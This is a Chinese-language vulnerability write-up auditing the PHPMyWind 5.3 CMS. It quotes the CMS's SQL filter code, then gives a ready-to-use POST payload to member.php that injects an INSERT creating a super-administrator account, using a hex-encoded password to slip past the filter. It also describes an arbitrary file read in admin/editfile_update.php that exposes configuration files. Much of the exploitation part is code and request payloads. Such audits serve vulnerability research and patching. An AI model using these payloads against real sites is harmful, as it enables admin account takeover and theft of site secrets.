0x01 关键代码分析
1.首先查看核心的文件,在include/common.inc.php中了解到了一些东西.直接贴代码吧。
//检查外部传递的值并转义 function _RunMagicQuotes(&$svar) { //PHP5.4已经将此函数移除 if(@!get_magic_quotes_gpc()) { if(is_array($svar)) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if(strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$svar)) { exit('不允许请求的变量值!'); } $svar = addslashes($svar); } } return $svar; } //直接应用变量名称替代 foreach(array('_GET','_POST') as $_request) { foreach($$_request as $_k => $_v) { if(strlen($_k)>0 && preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k)) { exit('不允许请求的变量名!'); } ${$_k} = _RunMagicQuotes($_v); } }
再看关键的sqlcheck部分。
//SQL语句过滤程序,由80sec提供,这里作了适当的修改 function CheckSql($sql, $querytype='select') { $clean = ''; $error = ''; $pos = -1; $old_pos = 0; //如果是普通查询语句,直接过滤一些特殊语法 if($querytype == 'select') { if(preg_match('/[^0-9a-z@/._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@/.-]{1,}/', $sql)) { $this->DisplayError("$sql||SelectBreak",1); } } //完整的SQL检查 while(true) { $pos = strpos($sql, '/'', $pos + 1); if($pos === false) { break; } $clean .= substr($sql, $old_pos, $pos - $old_pos); while(true) { $pos1 = strpos($sql, '/'', $pos + 1); $pos2 = strpos($sql, '//', $pos + 1); if($pos1 === false) { break; } else if($pos2 == false || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($sql, $old_pos); $clean = trim(strtolower(preg_replace(array('~/s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它 if(strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = 'union detect'; } //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们 else if(strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false) { $fail = true; $error = 'comment detect'; } //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库 else if(strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = 'slown down detect'; } else if(strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = 'slown down detect'; } else if(strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = 'file fun detect'; } else if(strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into/s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = 'file fun detect'; } //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息 else if(preg_match('~/([^)]*?select~s', $clean) != 0) { $fail = true; $error = 'sub select detect'; } if(!empty($fail)) { $this->DisplayError("$sql,$error",1); } else { return $sql; } }
可以知道对代入sql语句的数据过滤还是比较全面的,加上前面的转义,所以说直接对网站从交互部分进行sql注入是比较难得
0x02 发现前台sql注入之写入管理员账号与利用
漏洞发现在member.php中
//完善账号 else if($a == 'perfect') { //初始化参数 $username = empty($username) ? '' : $username; $password = empty($password) ? '' : md5(md5($password)); $repassword = empty($repassword) ? '' : md5(md5($repassword)); $email = empty($email) ? '' : $email; //验证输入数据 if($username == '' or $password == '' or $repassword == '' or $email == '') { header('location:?c=perfect'); exit(); } if($password != $repassword) { header('location:?c=perfect'); exit(); } $uname_len = strlen($username); $upwd_len = strlen($_POST['password']); if($uname_len<6 or $uname_len>16 or $upwd_len<6 or $upwd_len>16) { header('location:?c=perfect'); exit(); } if(preg_match("/[^0-9a-zA-Z_@!/.-]/",$username) or preg_match("/[^0-9a-zA-Z_-]/",$password) or !preg_match("/^[/w-]+(/.[/w-]+)*@[/w-]+(/.[/w-]+)+$/", $email)) { header('location:?c=perfect'); exit(); } $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `username`='$username'"); if(isset($r['id'])) { ShowMsg('用户名已存在!','-1'); exit(); } $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `email`='$email'"); if(isset($r['id'])) { ShowMsg('您填写的邮箱已被注册!','-1'); exit(); } //添加用户数据 $regtime = time(); $regip = GetIP(); if(check_app_login('qq')) { ... } else if(check_app_login('weibo')) { ... }$dosql->ExecNoneQuery($sql); //用绑定账号登录 $cookie_time = time()+3600; setcookie('username', AuthCode($username ,'ENCODE'), $cookie_time); setcookie('lastlogintime', AuthCode($regtime ,'ENCODE'), $cookie_time); setcookie('lastloginip', AuthCode($regip ,'ENCODE'), $cookie_time); ShowMsg('完善账号成功!','?c=default'); exit(); }
看添加用户那一块,注意 $dosql->ExecNoneQuery($sql); 这段语句是在if或者else if逻辑之外的,只要我们不是qq或者微博登录,就可以使用这个语句,再加上$sql可控,也就导致了语句可控。
再看$dosql->ExecNoneQuery($sql); 这是数据库语句,跟踪ExecNoneQuery()这个function
//执行一个不返回结果的SQL语句,如update,delete,insert等 function ExecNoneQuery($sql='') { global $dosql; .... }
可以看到该CMS作者提示说这是一个执行insert,delete,update的函数。
加上$sql可控,就想到写入一个具有管理员权限的账号。
漏洞利用
漏洞的触发条件:
1.$a == 'perfect'
2.$username,$password,$repassword,$email不为空
3.$password==$repassword
4.$username,$email是未被注册过的
5.非qq,微博直接登录
利用方法
注册一个账号,登陆后访问
http://127.0.0.1/PHPMyWind_5.3/member.php?a=perfect
然后post:
username=123tuifei&password=tuifeiseo&repassword=asdqwe&[email protected] &sql=insert into pmw_admin (`username`,`password`,`levelname`) values(12345,0x3166333261613463396131643265613031306164636632333438313636613034,1)
注意:
1.这里要求传入password(12345)为两次md5后的值,但是如果直接传入的话会报sql错误警告(有过滤),所以就直接将md5后的值在hex,就可以绕过过过滤。
2.levelname是用户权限等级,1表示超级管理员权限,若不加入则不能得到超级管理员权限。
这两个注意点也是我原先遇到的坑,后来看到一些师傅的文章才清楚。
最后12345 12345直接后台登录
写入成功!
0x03 后台任意文件遍历
文件 admin/editfile_update.php
if($action == 'update') { if($cfg_editfile == 'Y') { //设置读取目录 $dir = PHPMYWIND_ROOT.'/'; //处理写入内容 $content = stripslashes($content); $content = str_replace("##textarea","<textarea",$content); $content = str_replace("##/textarea","</textarea",$content); $content = str_replace("##form","<form",$content); $content = str_replace("##/form","</form",$content); //内容写入文件 Writef($dir.$filename, $content, 'w'); ShowMsg('文件保存成功!','editfile.php'); exit(); } else { ShowMsg('后台不允许直接编辑PHP文件!','editfile.php'); exit(); } } //显示编辑文件 if(!empty($filename)) { //设置读取目录 $dir = PHPMYWIND_ROOT.'/'; $filename = iconv('utf-8', 'gb2312', $filename); $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312'); if(file_exists($dir.$filename)) { $content = ''; $fp = fopen($dir.$filename, 'r');
漏洞点 $fp = fopen($dir.$filename, 'r');
与上一个注入点相似,if($action == 'update'),只要不进入这个if就可以触发漏洞点。$dir为根目录,filename这里是可控的。
也就可以读取关键的配置文件了。
更多说明
原文作者:c1e4r
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论